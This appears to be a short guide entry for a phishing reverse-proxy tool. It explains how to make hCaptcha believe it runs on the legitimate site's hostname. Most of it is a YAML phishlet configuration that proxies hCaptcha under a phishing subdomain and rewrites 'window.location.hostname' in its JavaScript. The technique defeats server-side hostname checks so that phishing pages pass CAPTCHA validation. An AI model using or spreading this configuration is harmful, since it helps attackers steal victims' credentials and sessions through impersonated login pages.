# hCaptcha bypass method

#### hCaptcha Bypass

hCaptcha does not validate the hostname of the website where it is loaded. However, during [server-side verification](https://docs.hcaptcha.com/#verify-the-user-response-server-side) of the CAPTCHA response, hCaptcha includes the hostname of the site where the challenge was completed. Since some websites may validate this hostname, tricking hCaptcha into believing it was loaded on the original hostname can be beneficial.

```
proxy_hosts:
  - {phish_sub: 'hcaptcha', orig_sub: '', domain: 'hcaptcha.com', session: true, is_landing: false, auto_filter: false}

sub_filters:
  - {triggers_on: 'hcaptcha.com', orig_sub: '', domain: 'democaptcha.com', search: 'window.location.hostname', replace: 'window.location.hostname.replace("{hostname}", "{orig_hostname}")', mimes: ['application/javascript']}
```


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